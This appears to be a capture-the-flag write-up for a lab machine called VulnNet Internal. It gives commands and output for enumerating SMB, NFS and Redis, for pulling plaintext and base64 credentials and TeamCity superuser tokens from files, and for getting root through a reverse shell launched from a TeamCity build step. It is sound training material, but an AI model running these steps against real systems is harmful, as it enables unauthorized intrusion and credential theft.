We see a bunch of ports open, the Interesting one are !
The SMB Ports - 139 and 445
The RPC-Bind Port - 111
We do have a NFS port open, which means we can mount it - 2049
The RSYNC and the Redis Port - 873 and 6379
Let's start enumerating the SMB shares via Anonymous login
$ smbclient -L 10.10.190.83
Enter WORKGROUP\kali's password:
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
shares Disk VulnNet Business Shares
IPC$ IPC IPC Service (vulnnet-internal server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available
$ smbclient //10.10.190.83/shares
Enter WORKGROUP\kali's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Tue Feb 2 10:20:09 2021
.. D 0 Tue Feb 2 10:28:11 2021
temp D 0 Sat Feb 6 12:45:10 2021
data D 0 Tue Feb 2 10:27:33 2021
11309648 blocks of size 1024. 3275768 blocks available
smb: \> cd temp
smb: \temp\> ls
. D 0 Sat Feb 6 12:45:10 2021
.. D 0 Tue Feb 2 10:20:09 2021
services.txt N 38 Sat Feb 6 12:45:09 2021
11309648 blocks of size 1024. 3275768 blocks available
smb: \temp\> get services.txt
getting file \temp\services.txt of size 38 as - (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
Enumerating the other directories, gives us nothing useful - Enumerating the RPC port also doesn't give us any potential usernames :(
Since we have the NFS file share open, lets try to mount it
$ mkdir tmp
$ sudo mount -t nfs 10.10.190.83: tmp
We have now successfully mounted the remote system's NFS share, let's enumerate that now :)
If we take a close look, we have the redis.conf file out there, let's cat that out !
$ cat tmp/opt/conf/redis/redis.conf
rename-command FLUSHDB ""
rename-command FLUSHALL ""
bind 127.0.0.1 ::1
protected-mode yes
port 6379
tcp-backlog 511
timeout 0
tcp-keepalive 300
daemonize yes
supervised no
pidfile /var/run/redis/redis-server.pid
loglevel notice
logfile /var/log/redis/redis-server.log
databases 16
always-show-logo yes
save 900 1
save 300 10
save 60 10000
stop-writes-on-bgsave-error yes
rdbcompression yes
rdbchecksum yes
dbfilename dump.rdb
dir /var/lib/redis
slave-serve-stale-data yes
requirepass "B65Hx562F@ggAZ@F"
slave-read-only yes
repl-diskless-sync no
repl-diskless-sync-delay 5
repl-disable-tcp-nodelay no
slave-priority 100
lazyfree-lazy-eviction no
lazyfree-lazy-expire no
lazyfree-lazy-server-del no
slave-lazy-flush no
appendonly no
appendfilename "appendonly.aof"
appendfsync everysec
no-appendfsync-on-rewrite no
auto-aof-rewrite-percentage 100
auto-aof-rewrite-min-size 64mb
aof-load-truncated yes
aof-use-rdb-preamble no
lua-time-limit 5000
slowlog-log-slower-than 10000
slowlog-max-len 128
latency-monitor-threshold 0
notify-keyspace-events ""
hash-max-ziplist-entries 512
hash-max-ziplist-value 64
list-max-ziplist-size -2
list-compress-depth 0
set-max-intset-entries 512
zset-max-ziplist-entries 128
zset-max-ziplist-value 64
hll-sparse-max-bytes 3000
activerehashing yes
client-output-buffer-limit normal 0 0 0
client-output-buffer-limit slave 256mb 64mb 60
client-output-buffer-limit pubsub 32mb 8mb 60
hz 10
aof-rewrite-incremental-fsync yes
We found a potential password for the redis server - B65Hx562F@ggAZ@F - Let's now try to access the redis server and try extracting some info or just try to relay in-order to get a potential NTLMv2 hash :)
$ redis-cli -h 10.10.190.83 -a "B65Hx562F@ggAZ@F"
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
10.10.190.83:6379> GET authlist
(error) WRONGTYPE Operation against a key holding the wrong kind of value
10.10.190.83:6379> LRANGE authlist 1 100
1) "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="
2) "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="
3) "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="
Decoding the above base64 string gives us
$ echo "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg==" | base64 -d
Authorization for rsync://rsync-connect@127.0.0.1 with password Hcg3HP67@TW@Bc72v
Initial Compromise
Let's now enumerate the rsync protocol and try getting a shell - Connecting to the rsync server reveals a files directory !
When we list the root directory, we see an interesting directory called TeamCity - Upon googling it said that it was some kind of DevOps tool used for maintaining CI/CD pipelines - Just like Jenkins :)
It suddenly striked my mind that there could be some sort of application running within the network on a different machine, so I quicky ran the netstat command to see what all IP's are talking to this sys-internal machine - and unfortunately netstat wasn't installed on this compromised machine, so I checked with the ss command - and it worked :)
There were many ports running here, and especially on the localhost so I decided to check for the default port for the TeamCity application and it was 8111 - So let's try pivoting the victim's localhost to our attacker machine via SSH
We can now access the TeamCity application via the localhost on our browser
We do not have a valid username or a password, but if we take a closer look it says
Login as a Super user to create an administrator account
When we try loggin - It asks for a valid admin token, and where do we find that? - Let's check in the log files !
sys-internal@vulnnet-internal:/TeamCity$ grep -iR token /TeamCity/logs/ 2>/dev/null
/TeamCity/logs/catalina.out:[TeamCity] Super user authentication token: 8446629153054945175 (use empty username with the token as the password to access the server)
/TeamCity/logs/catalina.out:[TeamCity] Super user authentication token: 8446629153054945175 (use empty username with the token as the password to access the server)
/TeamCity/logs/catalina.out:[TeamCity] Super user authentication token: 3782562599667957776 (use empty username with the token as the password to access the server)
/TeamCity/logs/catalina.out:[TeamCity] Super user authentication token: 5812627377764625872 (use empty username with the token as the password to access the server)
/TeamCity/logs/catalina.out:[TeamCity] Super user authentication token: 4174796436262174108 (use empty username with the token as the password to access the server)
/TeamCity/logs/catalina.out:[TeamCity] Super user authentication token: 4174796436262174108 (use empty username with the token as the password to access the server)
Using the last token, we can connect as super admin
Privilege Escalation
TeamCity is run by root on the target, which means that executing a reverse shell will grant us root access. After googling how to run commands on TeamCity, I found that it can be done via build steps in a project.
Create a project > go to build steps - Select “Command line” as “Runner type”, and put a python3 reverse shell string as the custom script command
Now, start a listener and click on the run button to run the command
Meanwhile, on our listener !
$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.8.50.72] from (UNKNOWN) [10.10.190.83] 48482
bash: cannot set terminal process group (481): Inappropriate ioctl for device
bash: no job control in this shell
root@vulnnet-internal:/TeamCity/buildAgent/work/2b35ac7e0452d98f# cat /root/root.txt
<uildAgent/work/2b35ac7e0452d98f# cat /root/root.txt
THM{REDACTED}
